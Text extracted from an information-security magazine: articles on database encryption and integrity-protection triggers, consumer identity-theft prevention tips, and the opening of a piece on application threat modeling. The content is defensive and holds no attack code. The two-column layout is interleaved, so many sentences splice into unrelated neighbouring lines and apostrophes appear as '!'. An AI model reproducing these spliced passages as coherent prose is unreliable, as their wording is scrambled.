organizations to better secure their data, it is no longer acceptable to encrypt
data only when it is stored in a database and files.

Issues with data transported as clear text down across applications, databases, and
files - including ETL data loading tools, FTP
One area of weakness is the time when data processes and EDI data transfers.
is in transit and, particularly, in transit within a
single entity or enterprise such as on an inter- Use encryption to protect data
nal network. Similarly, as data passes be-
tween organizations, the data can be exposed A protective layer of encryption around spe-
by weak security measures and other infiltra- cific sensitive data items or objects can pre-
tions such as access data stolen from author- vent from outside attacks as well as infiltration
ized personnel. As legislation and public con- from within the organization itself. In order to
cern over well-publicized security breaches decrypt encrypted data, one must possess
pushes organizations to better secure their one or more pieces of information such as an
data, it is no longer acceptable to encrypt data encryption key, the encryption algorithm, and
only when it is stored in a database and files. an initialization vector (IV). While such data
Rather, sensitive data should be continuously may be kept in repositories, including elec-
encrypted as it moves throughout an enter- tronic repositories such as hardware security
prise and beyond. Users should have the ca- modules, the movement and decryption of
pability to seamlessly and securely move en- sensitive data still proves challenging as data
crypted data from database servers and file is moved within an enterprise and beyond. A
servers to a laptop for their sales force, for preferred solution should be based on separa-
example. tion of duties between data administration and
security administration.
Use encryption throughout the data flow
Separation of duties is a security
It is critical to have a good understanding of corner stone
the data flow in order to select the optimal pro-
tection approach at different points in the en- Separation of duties and trusted encryption
terprise. By properly understanding the data services can be enabled by implementing field
flow we can avoid quick fixes and point solu- level encryption and policy enforcement at the
tions and instead implement a protection database layer or potentially at a connectivity
strategy encompassing protection all the way layer between a data store and an application.
from the data sources. Careful analysis of use An implementation with policy enforcement at
cases and the associated threats and attack a layer between a data store and an applica-
vectors can provide a good starting point in tion has various advantages such as, for ex-
this area. A continuous protection is an ap- ample, minimizing the exposure of clear text,
proach that safeguards information by crypto- separating responsibilities for storage device
graphic protection or other field level protec- management and encryption, allowing for
tion from point-of-creation to point-of-deletion, greater scalability of encrypted storage de-
to keep sensitive data or data fields locked vices, and promoting greater security by

www.insecuremag.com 75
separating security management from storage applications carry out encryption may also
device management. The advantages of such prevent data sharing between applications.
an arrangement become especially salient Critical data may no longer be shared be-
when database management is outsourced to tween different applications, even if the appli-
another company, possibly in another country. cations are re-written. Thus, moving encryp-
Encryption at the database file layer cannot tion to the application may be unsuitable for
provide this level of separation of duties large scale implementation, may create more
between security management and data communication overhead, and may require
management. more server administration.

Ensure not even the DBA can read sensi- Balancing the benefits of different
tive data encryption approaches
The DBA should not be able to get access to Use partial encryption to enhance per-
the data encryption keys and or the services formance and visibility (but use it with
that can decrypt data. The Encryption Keys care)
should be cached or securely stored on the
database server encrypted. The DBA does There is an operational business need for a
and can have access to the column but the middle-ground between encryption and clear-
data will not be usable for decrypting sensitive text data. This can also strengthen the protec-
data. The encryption keys can only be de- tion of the data. The same encryption that
crypted by the security process. This will of prevents human eyes and untrusted systems
course depend on how clever the DBA is, but and from reading sensitive data can also
everything necessary to access the keys hamper trusted or semi-trusted systems, ap-
should not be easily available. Then the an- plications, which have a business need to re-
swer is dependent on if the DBA can crack the view or operate on the data. A partial encryp-
encryption scheme. As discussed in this arti- tion concept can be applied to improve search
cle, there are practical methods to block at- performance on encrypted feeds. Searching
tack vectors that are threatening sensitive on one or more leading characters of a col-
data and encryption keys. umn will be much faster than performing full
scans of the original table. Depending on the
Issues with native database encryption distribution of the values within the column,
and application level encryption different performance gains are accomplished
due to the selectivity of such a "wild card"
A vulnerability of some native DBMS-based search.
encryption features is that encryption keys
used to encrypt data is often stored in a data- Use different key protection based on data
base table inside the database, only protected sensitivity
by native DBMS access controls. Frequently,
the users who have access rights to the en- Some data and associated encryption keys
crypted data also have access rights to the will require a higher level of protection. A sim-
encryption key. This can create security vul- ple data classification can be used to deter-
nerability because the encrypted text is not mine if a specific data item should be proc-
separated from the key used to decrypt it. essed locally, in a dedicated service, central
Oracle added additional key protection in TDE service, or on a hardware security module.
and implemented a certain level of separation Risk management can help in defining the
of duties in Oracle Database Vault where the balance between the requirements for secu-
database administration can be compartmen- rity, cost, and acceptable performance and
talized. scalability. Master keys and some data en-
cryption keys require may a higher level of
Moving the encryption to the applications that protection. Risk management can help in de-
generate the data improves security. However, fining the right balance between these re-
this may require source code level changes to quirements for security, cost, and acceptable
the applications to enable them to handle the performance and scalability.
cryptographic operations. In addition, having

www.insecuremag.com 76
Key management and different encryption Protect keys in memory
topologies
Memory attacks may be theoretical, but cryp-
To maintain a high level of security the data- tographic keys, unlike most other data in a
base server or file server platform should only computer memory, are random. Looking
contain securely encrypted lower level data through memory structures for random data is
encryption keys. Master keys should always very likely to reveal key material. Well made
be stored separately outside the server plat- libraries for use as Local Encryption Services
form. While most Dedicated Encryption Serv- go to great efforts to protect keys even in
ices are devices specifically constructed for memory. Key-encryption keys are used to en-
cryptography, some Dedicated Encryption crypt the key while it is in memory and then
Services might be general purpose computers the encrypted key is split into several parts
running standard operating systems, but and spread throughout the memory space.
stripped of all but the most essential services. Decoy structures might be created that look
like valid key material. Memory holding the
Amongst those services would be a crypto- keys should be quickly zeroed as soon as the
graphic server and a key storage module. At cryptographic operation is finished. These
the heart of the server is a library such as the techniques reduce the risk of memory attacks.
ones used for a Local Encryption Service. Pri- Separate encryption can also be used for dif-
vate keys should be stored encrypted with ferent data. These encryption keys should be
several AES encryption keys that are nested automatically replaced based on the sensitiv-
within a hierarchy in which each key is pro- ity of the protected data. To maintain a high
tected by a parent key. This multi-layer hierar- level of security backups contain the en-
chy of keys ensures the highest level of pro- crypted data and only securely encrypted
tection against attack. lower level keys. Master keys should be
backed up separately.

Be aware that exposing encryption services as a network resource


will introduce an additional point of attack.

Encryption services as a network Network Attached Encryption Appliances


resource available. A NAED is a hardware device that
resides on the network, houses the encryption
keys and executes all crypto operations. This
Attacks on the encryption services
topology has the added security of physically
separating the keys from the data. However,
Be aware that exposing encryption services
this added security comes with a heavy price;
as a network resource will introduce an addi-
performance can be 5 - 1000 times worse
tional point of attack. An integrated central and
than alternative methods and some critical se-
distributed solution can protect from this vul-
curity exposure with API level attacks when
nerability. Also, look for industry standard API
using Network Attached Encryption Devices.
support. Adopting a standard such as
PKCS#11, will help ease the transition from
Denial of service attacks - network at-
one vendor!s engine to another, and in some
tached encryption devices
cases between different engines from the
same vendor.
A network attached engine does not provide
high availability, unless multiple engines are
Use network attached encryption devices
configured into a high availability cluster. De-
with care
nial of service attacks are another related
concern with network attached engines. Since
The Network Attached Encryption (NAED) is
the engine is available over TCP/IP, an at-
implemented as a Network Attached Encryp-
tacker could flood the engine with traffic and
tion Appliance that scales with the number of
block legitimate cryptographic requests.

www.insecuremag.com 77
If required information can!t be decrypted, security relevant objects, to make sure that
then a customer may not be able to place an nothing is altered to leak sensitive information.
order or access account information. If the da-
tabase stored encrypted records that are criti- The scope can include for example trigger/
cal for the business operation, then a suc- view/package/UDF modification, DLL wrap-
cessful denial of service attack could be se- ping, shared memory access, admin server
vere. masquerading, database masquerading, log/
configuration file modification, key/password
Integrity protection of sensitive file descrambling, etc. in a mature solution.
components When a table or column is selected for protec-
tion, not only the table definition itself is pro-
Even if encryption and access rights are set tected but also all the views, triggers (recur-
up properly, malicious code inserted in the sively), proxy tables, user defined types, user
wrong place might lead to unauthorized per- defined functions, edit procedures, field pro-
sons gaining access to sensitive information. cedures and other database objects defined
We will review how integrity protection can be on that table. Any object including stored pro-
applied via a separated security system for cedure and external procedures called from
column level database encryption. Database this table (or its views or triggers) are by de-
tables are one example of objects that can be fault also protected. The integrity protection
protected. Integrity protection of database ob- function should be policy driven and be able to
jects can protect the integrity of selected (da- operate in the "stealth mode". An attacker
tabase) objects, to make sure that nothing is should not be aware of what objects are
altered to leak sensitive information. Integrity checked and when the checking is performed.
protection can control the integrity of selected

At the same time Oracle introduced the possibility to have a trigger on database
logons they also provided the mechanism for tracking other system events.

Integrity protection examples clearly documented. For example, certain


DDL operations may not be allowed on DDL
We will review a few basic implementation ex- events. Instead of looking at the encryption of
amples that are based on Oracle 9i and in data and the DBA-attack protection as differ-
several cases applicable across other data- ent mechanisms, they should be considered
base vendor platforms. There are additional as complement to each other in the mission of
protection methods that can give a higher creating a "secure database".
level of protection and are applicable across a
wider span of database platforms. Using system triggers

Using system events Using system triggers to help detecting when


something suspicious is going on in the data-
At the same time Oracle introduced the possi- base can result in a reasonable level of per-
bility to have a trigger on database logons formance, functionality and security. Three
they also provided the mechanism for tracking system events that could be triggered are
other system events. There are two different CREATE, ALTER and DROP. These triggers
types of events on which triggers can be cre- can either fire BEFORE or AFTER the actual
ated; Resource Manager Events, that are re- action. What is better will be discussed below.
lated to instance startup and shutdown, and Only committed triggers are fired. For exam-
Client Events, related to user logon /logoff, ple, if you create a trigger that should be fired
DML, and DDL operations. Depending on the after all CREATE events, then the trigger itself
event, the publication functionality imposes does not fire after the creation, because the
different restrictions. It may not be possible for correct information about this trigger was not
the server to impose all restrictions. The re- committed at the time when the trigger on
strictions that cannot be fully enforced are CREATE events was fired.

www.insecuremag.com 78
On the other hand, if you DROP a trigger that that are possible to catch, but we will focus on
should be fired before all DROP events, the CREATE, ALTER and DROP. When a system
trigger fires before the DROP. This would event occurs on CREATE, ALTER or DROP
mean that the triggers could protect them- for TABLE, VIEW or TRIGGER, the following
selves. If trusting system triggers alone you attributes that can be obtained: ora_sysevent,
need to ensure they are not possible to reset ora_login_user, ora_instance_num, ora_data-
externally, e.g. by Oracle SGA modification. base_name, ora_dict_obj_type, ora_dict_ob-
j_name, ora_dict_obj_owner. The attributes
Performance aspects ora_is_alter_column and ora_is_drop_column
can also be obtained for ALTER TABLE
Because of the small amount of data the three events. For USER operation the set of opera-
triggers represent the check can be done with tions are somewhat different. Selected trig-
small intervals without affecting the perform- gers and views that should be checked for
ance too much. There is however another changes is based on what tables that are to
good way of doing this. Firstly, the three trig- be protected. These tables could be the ones
gers can be reduced to one by or-ing the dif- containing encrypted columns or other 3rd
ferent DDL-event together. Secondly, We can party encryption products data protection
create an AFTER trigger for CREATE, ALTER function, but also other tables that should
and DROP on the Security Server!s database have its views and triggers protected.
schema. This trigger would then fire whenever
a database object is added, changed or de- The first thing to do is to find all views and
leted in the schema. The “backup” trigger can triggers on a specified table. This should be
then filter the affected object!s name so that done to be able to distinguish exactly what ob-
the external function is called only when the ject that has been changed. Because of the
system event trigger is affected. Because the fact that every object that is supposed to be
trigger is fired after the event the action is not protected is represented by a row in the policy
stopped but the Security Server can be noti- database it is very important to make sure that
fied that something suspicious is going on. the rows aren!t deleted or changed. If a sys-
tem event occurs, the system event trigger of
The result of setting up the triggers this way is the Security Server should fire. The server will
that they will protect each other. Changing the then compare the information from the event
system event trigger will be detected by the with the objects in the policy to see if the ob-
backup trigger and vice versa. If the system ject is protected. When the Security Server
event trigger should fire before or after the starts up it should do a full scan of the objects
event depends on what functionality should be that are supposed to be protected. This is to
provided. If the trigger fires before the event make sure that no view or trigger has been
occurs, access control functionality can be changed during the time Security Server been
provided to the object that the event concerns, down.
but no information about the exact effect on
the object is retrieved. If firing after the event, How do we know that an object being cre-
the event has already happened and we can!t ated is a security hazard?
do anything about it. On the other hand, we do
have the possibility to find out exactly what Depending on what function we want the
has been done. This will be discussed further event trigger to fulfill, the trigger should be a
on. Having the backup trigger firing after an BEFORE or an AFTER trigger. If we want pro-
event will prevent deadlock between the trig- tect objects in a schema from being recreated,
gers when uninstalling the product and remov- altered or dropped the event trigger would
ing the triggers. have to fire before the actual action. If our only
mission is to report to the Security Server that
Tables, views and triggers something has happened with a protected ob-
ject then we could use AFTER trigger instead.
System event triggers can be used to find if a But how do we know that an object being cre-
table, view or trigger, or other database object ated is a security hazard? When an object is
for that matter, has been added, changed or created, say a trigger on a table, it is important
deleted. There are quite a few system events to know on which table or view the trigger is

www.insecuremag.com 79
created on to determine if it is a security haz- possible to restrict permissions on certain da-
ard. This information isn!t available in the tabase objects by having triggers that fire BE-
event trigger, so the Security Server would FORE system events. Say, as an example, we
have to do an external check on the trigger to want to protect a certain user from having his
get information about parent object. If the trig- password changed without the acknowledge-
ger is a BEFORE CREATE trigger the trigger ment from Security Server.
hasn!t been created when the event trigger is
fired and no information can be found. There- How to detect different forms of data
fore the trigger has to be fired AFTER CRE- misuse
ATE, when the trigger is already created.
Data Usage Control, a solution that offers the
If the events trigger fire when a protected ob- ability to detect misuse and subversion
ject is recreated, both before and after triggers through the direct monitoring of database op-
can be useful. It all depends on what actions erations against the database host, can pro-
should take place when the trigger is fired. If vide an important complement to encryption,
the object should be protected against recrea- access control, host-based and network-
tion, then the trigger has to fire before. The based surveillance. The proposed solution
Security Server will take the information re- can detect a wide range of specific and gen-
ceived from the event trigger and compare it eral forms of misuse, provides detailed re-
to the information in the policy. If the object is ports, and has a low false-alarm rate. Tradi-
in the policy, the object is a protected object. tional database security mechanisms are very
limited in defending successful data attacks.
The server checks if the user has permissions Authorized but malicious transactions can
to recreate the object and if not the action is make a database useless by impairing its in-
denied. When the event trigger is fired after tegrity and availability. Suites of the proposed
the event the Security Server doesn!t have the solution may be deployed throughout a net-
possibility to deny a recreation. But if enough work, and their alarms managed, correlated,
information is stored in the policy the server and acted on by remote or local subscribing
could compare the appearance of the object security services, thus helping to address is-
before and after the recreation and find out sues of decentralized management.
the difference. The same goes for both ALTER
and DROP events. Conclusion

System events and functions A comprehensive solution should protect sen-


sitive information like credit card information
Before or after triggers on tables could be as such information is processed, stored, and
used to detect or to prevent tampering with travels across a distributed computing net-
sensitive data direct on the table. As seen ear- work. The solution described here is particu-
lier there are many events that can be trig- larly applicable to environments where data
gered. One approach is to trigger on GRANT must flow fluidly between devices. It is critical
to check if someone are getting more privi- that the receiving device can decrypt the data
leges or maybe trigger on TRUNCATED to (if authorized). By including the metadata with
protect certain tables from being truncated by the sensitive data, the receiving device will
unauthorized users. Using the system event have some of the required information for de-
triggers it would be possible to mark some us- cryption.
ers as suspicious, e.g. the DBA or other users
with a lot of database permissions, for closer A comprehensive encryption solution doesn!t
control. It would be possible to log almost all complicate authorized access to the protected
activity in the database by that user. information - decryption of the data can occur
at any point throughout the data flow wherever
It can be useful to divide the database into a there is a need for access. Decryption can
number of different “zones” with different sen- usually be done in an application-transparent
sitivity level, where each level would be pro- way with minimum impact to the operational
tected differently. The zone with the highest environment.
level would be the most protected etc. It is

www.insecuremag.com 80
Total Cost of Ownership will become increas- port a wide range of the data protection op-
ingly more salient as businesses become tions that are discussed in this article. There is
more dependent on encryption performance a multitude of techniques and alternative to-
and scalability issues. Organizations need to pologies for encryption at the database level.
be able to perform maintenance tasks such as In real-world scenarios, complex issues and
key rotation without suffering an unacceptable experts should be used who understand all
level of downtime. available options and can articulate the impact
for each particular customer environment. En-
The best practice, in most cases, is to base cryption engines and services come in three
the resolution on a packaged solution that is flavors: central, local and dedicated. In a
already available, proven and tested. Pack- straight comparison of costs, Local Encryption
aged data encryption solutions have proven to Services are generally cheaper but not se-
be an important corner stone for protecting cure.
sensitive data. Mature solutions should sup-

Ulf T. Mattsson is the CTO of Protegrity. Ulf created the initial architecture of Protegrity!s database security
technology, for which the company owns several key patents. His extensive IT and security industry experi-
ence includes 20 years with IBM as a manager of software development and a consulting resource to IBM's
Research and Development organization, in the areas of IT Architecture and IT Security. Ulf holds a degree in
electrical engineering from Polhem University, a degree in Finance from University of Stockholm and a mas-
ter's degree in physics from Chalmers University of Technology.

www.insecuremag.com 81
“Who is shadytown.com and why is there a $500 charge on my credit card!?”
It is both frightening and frustrating when you see charges on credit card for
purchases that you never made. Or worse yet, you receive a credit card bill for
an account that you never opened yourself.

It might not have happened to you yet, but it vesting only a few minutes proactively pre-
has probably happened to someone you venting identity theft before it occurs. By fol-
know. Identity theft occurs when someone lowing a few quick security tips and using ap-
uses Personally Identifiable Information (PII) propriate software products, you can beat
without permission to commit fraud or other criminals at their own game and protect your
crimes. Identity thieves spend countless hours personal information before it!s too late.
mining for bank accounts, social security
numbers, credit card numbers, and other per- Personal information appears in a variety of
sonal information so that they can steal your distinct forms across many locations and the
identity and commit fraud. more information a thief can get their hands
on, the easier it is for them to commit identity
Don!t think it can!t happen to you. According to fraud.
the FTC, over 9 million Americans! identities
are stolen each year and in 2007 consumers Traditionally, the most common forms of your
reported fraud losses totaling more than $1.2 identity were your Social Security Number
billion, which is almost double that of 2005. To (SSN), credit card numbers, or bank accounts.
resolve the average fraud, it is estimated to Along with that, a thief would also need your
cost $500 out of pocket and take over 30 name and sometimes a date of birth depend-
hours of time per victim. Those are usually 30 ing on the type of theft they planned to com-
frustrating hours wasted on the phone, on-line, mit. Today, your identity also includes elec-
and potentially even in person with police, the tronic personal information, most commonly
DMV, and other creditors. Those are 30 hours as a username and password.
of waste that you could have prevented by in-

www.insecuremag.com 82
With an online bank account username and 2. Check your credit report with one of the
password, attackers can easily withdraw funds three credit bureaus for free every four months
from your account while getting it back is ex- by visiting www.annualcreditreport.com and
tremely time consuming and often very com- make sure you recognize all of the accounts,
plex. In November 2007, a 26 year old wrote addresses and other information on the report.
computer code to steal the PayPal logins from 3. Don!t leave your cell phone, laptop, or other
250,000 PCs, which were used by hackers to mobile device unattended at the bar or coffee
log into the victim's PayPal accounts and steal shop. Blackberries and smartphones contain a
their money. While this crime was clearly not lot of personal information these days and
the victim!s fault, they made it possible for the hundreds of thousands of laptops are stolen
attackers because they saved their passwords each year. The CSI 2007 Crime and Security
in their web browser. Survey revealed that 50% of companies had a
laptop or mobile device stolen last year.
Our parents taught us to look both ways be- 4. If somebody asks for your SSN, don!t give it
fore crossing the street, but they never said, to them. Many companies that ask for your
“Don!t give out your Social Security Number.” SSN only need it in case you do not pay your
Some of the ways to prevent identity fraud bill and, alternatively, will except a small de-
don!t require any new technologies or soft- posit for the first couple of months until you
ware because they involve protecting your re- are a good standing customer.
ceipts and being smart about the way you 5. Most receipts today only print out the last
share your personal information. Here are a four digits of your credit card number, but
handful of important things you should keep in some still print the entire number. Make sure
mind to prevent identity theft that don!t have you tear these up properly or shred them be-
anything to do with buying software or config- fore discarding them in the trash.
uring your computer: 6. Never scan your credit card, a check, your
driver!s license, or your signature and then
1. Do not provide personal information to any- send it to somebody. Those images are unse-
one calling you claiming to be from a credit cure and can easily be used for fraud if they
card company. Those companies already have fall into the wrong hands.
your information and it could be an identity 7. If you do plan to electronically store any pa-
thief. Hang up and call them back using the per documents that contain sensitive informa-
toll free number listed on the back of your tion, black out your personal information be-
credit card. fore scanning it.

Some of the ways to prevent identity fraud don!t require any new technologies
or software because they involve protecting your receipts and being smart
about the way you share your personal information.

Most of the tips above only help prevent tradi- ported malicious hackers were selling 1.4GB
tional forms of identity theft. The ways to pro- of personal information that they stole from
tect against today!s most common attacks on individuals in just 3 weeks. Personal bank ac-
electronic identities will be more effective with counts were listed along with the amount of
simple software tools and configuration op- money remaining in each account and a price
tions. Because your identity is now commonly for buying the username and password to
stored electronically, it is important that you login and steal that money.
take additional steps to protect it.
Thieves are only part of the problem. The big-
According to IDC, it!s projected that black ger issue is the fact that you are probably,
market trafficking of stolen electronic identities knowingly or inadvertently, storing your per-
will increase to $1.6 billion by the year 2010. sonal information in unprotected forms. Sure
Attackers are now simply harvesting as many you can try to block all the viruses, Trojans,
accounts as they can find and then selling spyware, keyloggers and other malicious pro-
them in blocks online. Recently CNET re- grams, but even if you are successful, there is

www.insecuremag.com 83
still a chance you might lose your laptop or card number, which you can usually obtain
share personal information without realizing it. from your credit card company!s website.
7. Don!t click on email messages that contain
Computers make it simple for us to accidently hyperlinks to websites. Close the email and
expose personal information. Kids & Digital type the website address in manually. Phish-
Content reports that 70 percent of "tweens! ing attacks are increasingly common and at-
(kids ages 9 through 14) are downloading digi- tempt to trick you into visiting false websites to
tal music. The NPD Group has stated, “high steal your personal information.
levels of illegal peer-to-peer (P2P) file sharing” 8. Always use your wireless router's security
are attributed as the source of those music features. Without security, Johnny Hacker
downloads so peer-to-peer sharing is quite connecting from across the street or in a
common. The point is that most people have downstairs apartment can easily access your
personal information stored on their computer computer and personal information.
and that computer is usually used by spouses, 9. Never enter private information on public
children, or friends and it is easy to inadver- computers such as in a hotel, library, or at
tently let software programs expose your data. school. These systems may be infected with a
keylogger or spyware capturing everything
There are many simple things you can do to you type.
protect yourself and your electronic identity: 10. Never email or instant message confiden-
tial information. Those communications are
1. Install the latest updates to your operating usually not secure and can be listened in upon
system as soon as possible so known Win- by other people.
dows or Mac vulnerabilities are secured. 11. Always encrypt documents containing
These fixes plug holes that attackers know confidential personal information you need.
how to exploit to gain access to your files. Microsoft Office and Adobe Acrobat have this
2. Your password is a form of your identity and capability.
can be used to access your computer and all 12. Make sure you have not and are not stor-
the information on it. Make sure it is at least ing any personal or confidential information on
seven characters, contains numbers, and up- your computer unsecured.
per and lowercase letters. Do not simply pick
a word from the dictionary and add a number. You control the information on your computer
3. Don't save your password in your web and one of the most important ways for you to
browser when accessing banks and other in- prevent your own identity theft is to keep your
stitutions that keep your personal information private information secure. Historically, per-
because it could be easily stolen if you ever sonal information was stored in a multitude of
get a virus, Trojan, or are hacked. ways in myriad places, so you should dig
4. Visit your bank online and set up fraud through old files and emails to determine
alerts on your accounts to monitor when high where it might still exist. If you find unsecured
amounts of cash are withdrawn. personal information, follow these three steps:
5. Peer-to-peer file sharing programs may al-
low people to access your computer and steal 1. If you no longer need the file or email, per-
personal and private information. Configure manently shred it from your computer. Don!t
these programs not to expose personal simply delete it or recycle it.
folders. 2. If you do need the file or email but not the
6. Don!t purchase anything online with your personal information, redact the data by delet-
credit card unless the website is secured with ing it or replacing it with other characters such
SSL, as indicated by a padlock in your web as a series of X!s.
browser. When shopping at a site you do not 3. If you still need the file or email and the
know well, use a onetime use virtual credit personal information, encrypt it with a strong
password.

Todd Feinman is the CEO of Identity Finder (www.identityfinder.com) which specializes in developing software
solutions that meet business and consumer needs. Best known for Identity Finder - which automatically
searches for, and deletes or encrypts, your personal information - and Velosecure CAM, the company's tech-
nologies have been used by thousands of organizations in more than 40 countries.

www.insecuremag.com 84
Application threat modeling has received increased attention over recent
years by security professionals worldwide. The growing interest is as a result
of corporations attempting to evolve preventive, detective, and reactive
countermeasures from the inception of the software development lifecycle.

Addressing security vulnerabilities prior to Embedded within a well managed SDLC


software deployment is gaining traction across process, application threat modeling serves as
the software industry, for both web based and a strong ally in identifying application vulner-
client-server applications. This will ultimately abilities along with their associated technical
become a universal truth for many software risks. Most importantly is the ability for a com-
development shops, particularly as the threat pany to remediate security issues inexpen-
of zero-day exploits continue to rise. As part of sively during the design phase. Outside from
an effort to address software vulnerabilities the SDLC, application threat modeling pro-
prior to deployment of beta or production re- vides a methodology for experienced security
leases, application security professionals need professionals to identify security flaws in exist-
to evolve the manner in which they can dis- ing applications from the perspective of a
cover application vulnerabilities early in the would-be attacker.
SDLC.
History
A 2002 study from @stake found that security
design flaws account 70% of the defects being As with many security terms and methodolo-
analyzed and among them about 47% being gies used today, the term Threat Modeling
of medium and high business impact and eas- was first used by the U.S Department of De-
ily exploitable. Also according to a recent fense as part of their efforts in addressing
Gartner study "Removing only 50 percent of combat related risks for various military opera-
software vulnerabilities before use will reduce tions. The military!s intent was to establish a
patch management and incident response strategic effort in identifying risks.
costs by 75 percent."

www.insecuremag.com 85
Application Threat Modeling (revolving around ment. Microsoft has gone as far as having
the same concept of threat modeling) dates as sponsored two free FAT client tools that de-
far back as the early 1970!s where many uni- velopers, security professionals, and quality
versity professors and software engineers dis- assurance engineers can leverage in order to
cussed the poor use of threat modeling tech- be able to identify where attack vectors would
niques in order to understand ways in which most likely be successful, given an absence or
attackers could exploit software applications. set of weak controls.
Even nearly 40 years ago, understanding at-
tack vectors within the boundaries of a threat The end goal for threat modeling has always
modeling exercise was communicated as a been to identify risk. Identifying risk centers on
strong ally to any SDLC methodology, such as the ability to derive impact. Related to its his-
Agile or RAD. torical military roots, impact extends beyond
the compromise of a single military unit, but
Today, application threat modeling has re- instead a military objective. Similarly today,
surged in importance throughout the security measuring risk does not focus on the loss of a
industry and has provided for a strategic password or data set but rather the impact in
model for addressing application vulnerabili- which those compromised items signify to the
ties. Many global companies today including business. Therefore, deriving impact from risk
Microsoft (yes Microsoft) have strongly advo- is king even today for any organization seek-
cated application threat modeling as an inte- ing to explore the benefits of application threat
gral part in unifying software development ef- modeling.
forts to those related to security risk manage-

TODAY, APPLICATION THREAT MODELING HAS RESURGED IN IMPORTANCE


THROUGHOUT THE SECURITY INDUSTRY AND HAS PROVIDED FOR A STRATEGIC
MODEL FOR ADDRESSING APPLICATION VULNERABILITIES

What is threat modeling? Who benefits from threat modeling?

There are several definitions for application Threat modeling provides different benefits to
threat modeling, authored by many well known the project stakeholders depending on their
entities within the security and software devel- role and responsibility:
opment communities. One definition that en-
compasses the aspects of threat simulation as • Architects
well as risk management is as follows: • Developers
• Security Testers
A systematic and strategic approach for enu- • Project Managers
merating threats to an application environ- • Business Managers
ment, with the objective of minimizing risk and • Information Risk Officers
associated impact levels to the business.
Threat modeling allows architects to under-
Threat modeling consists of introducing an stand two key concepts that affect application
application to various attack simulations which security: trust boundaries and data classifica-
include a hierarchy of security threats, attacks, tion. Without needing to know much about the
and vulnerabilities. As part of such a simula- various intricacies related to the application
tion, systems are designed with defensive se- undergoing this exercise, architects will be
curity mechanisms such as control points and able to review data flow diagrams that map
countermeasures that serve to mitigate secu- the various ways in which data is exchanged
rity risks posed by potential attacks. Using a within a clearly defined application domain. By
systematic fact based and methodical ap- identifying vulnerabilities related to weak or
proach, the threats of the system are charac- non-existent security controls, threat modeling
terized, potential vulnerabilities highlighted allow architects to apply the most appropriate
and countermeasures developed. countermeasures via proper design

www.insecuremag.com 86
techniques, thereby introducing a secure basis a great deal in bridging the gap as to how ex-
on which code driven security controls will be actly could an attacker compromise an appli-
layered upon. cation. Vulnerability scans, pen tests, and
even manual application security techniques
Developers are the key audience members for have traditionally been conducted in isolation;
any application threat modeling exercise. The away from a group of developers who would
process allows developers to understand how benefit from learning how those scans work.
use cases, backed by their code and related Application threat modeling involves them
to functional features within the application, early on and is able to clearly demonstrate
may facilitate an attack against an applica- how application use cases can become mis-
tion!s assets, information, or continuity. In this use cases due to weak programmatic controls.
sense, there is no other security process Being part of the threat modeling process and
within an organization that provides this de- the secure design also helps in the implemen-
gree of valuable insight to a team of develop- tation of security controls according to security
ers. Traditional application assessments miss design patterns and secure coding standards.

INFORMATION SECURITY OFFICERS BENEFIT FROM THREAT MODELING FROM THE


TECHNICAL RISK ANALYSIS PERSPECTIVE

Quality assurance personnel, security auditors location for remediation. This leads to a more
engaged in vulnerability assessments and predictable project plan that is more likely to
technical security testers can be collectively be on budget and on time. Additionally, project
referred to as security testers and are typically managers involved in the threat modeling ex-
tasked to validate the effectiveness of the ap- ercise will be empowered to treat security as a
plication security controls against functional feature to be validated during design rather
and non-functional test cases. Before security than "bolted-on" at a later date, potentially af-
testers are even introduced the security re- fecting other future projects on the same plat-
quirements that they will help test, they can form or application environment.
also be included in earlier steps within a threat
modeling program in order to provide them a Information security officers benefit from threat
greater insight as to what areas of the applica- modeling from the technical risk analysis per-
tions may warrant testing. The testing or QA spective. By systematically focusing on the
phase to any SDLC process serves as the identification of security issues during design
best opportunity for threat modeling exercises they can make risk management decisions to
to take place as the code being migrated is mitigate technical risks early in the system's
leaving a designated DEV or TEST environ- development life cycle, they can reduce costs
ment in a non-mutable state. As the program by making decisions such as the mitigation of
is evaluated within a QA environment, security risks by redesigning components if needed or
testers may test against previously defined by introducing countermeasures before sig-
security requirements as well as perform sev- nificant effort is spent on building an inappro-
eral other related exercises relevant to appli- priate solution.
cation threat modeling, including data flow
diagramming, application walkthroughs, and The scope of threat modeling
the creation of misuse case scenarios. Over-
all, application threat modeling carried out dur- Central to the efforts associated with applica-
ing this phase of the SDLC can systematically tion threat modeling are use cases. For any
assist testers to validate application threats given application being evaluated, use cases
prior to the application reaching production. help identify the threats, encompassing attack
vectors, associated vulnerabilities and exploits
Project managers can address project related that all make up a misuse case. The misuse
risk issues via threat modeling and derive a case is the use case counterpart in the sense
risk rating based upon severity and likelihood that it does not conform to expected usage
of exploitation to prioritize time and budget al- and functionality associated with an

www.insecuremag.com 87
with an application control. It is important to the effectiveness of any adopted threat model-
remember that misuse cases are derived al- ing methodology.
ways from use cases since the use case
serves as the means in which an application Those leading the threat modeling exercise
control can be exploited for its intended mis- will have to be able to interface with other key
use (hence misuse case). stakeholders as part of this effort. Specifically,
members from the development team and
Accurately defining scope for an application even business analysts will be needed in or-
threat modeling exercise begins with the accu- der to understand code related countermea-
rate inventory of all encompassing application sures that can be developed (DEV), testing/
objects: human/non-human users, services, re-testing of use case scenarios (QA), and a
and data sources associated with a particular greater understanding of use case scenarios
application use case. Within the scope of ap- (BA).
plication threat modeling, there are various
components tied to the use case scenario. Performing threat modeling during the
Some of these variables include objects such SDLC
as actors (relates to both human and applica-
tion entities), named pipes, assets (databases, There is no question that application threat
web servers, etc.), services (IIS, SSH, etc), modeling can best be implemented as a proc-
and more. All of these components are rele- ess within the software development life cycle.
vant to the set of defined use case scenarios Outside of the SDLC process, threat modeling
associated with the application. The use cases would emulate other traditional security efforts
will assist in creating data flow diagrams such as application assessments, which al-
amongst the components within the threat though beneficial in their own respect, provide
modeling exercise. a different end goal and deliverable. Secondly,
extracting application threat modeling from the
The scope of the data flow diagrams (as part SDLC process will reduce the level of collabo-
of the application threat modeling exercise) is rative efforts and force security professionals
contained within the context of the application to take on a more adversarial role in conduct-
itself and not in the features or objects relative ing their interviews and analysis with other
to other application domains. It may be tempt- members in IT.
ing to scope creep, due to perceived rele-
vancy, however doing so may simply extend In contrast, threat modeling can shadow the
the time in which the analysis is conducted various defined processes of an organization!s
while reducing the amount of security related software development lifecycle. Additionally,
findings. its stewards can train and evangelize the
benefits of application threat modeling by edu-
Given the granularity needed to itemize and cating all participating members on the various
understand application components within the processes associated with the application
process of application threat modeling, it is threat modeling exercises such as use cases,
important to consider time and expertise as mitigating controls to remediate code related
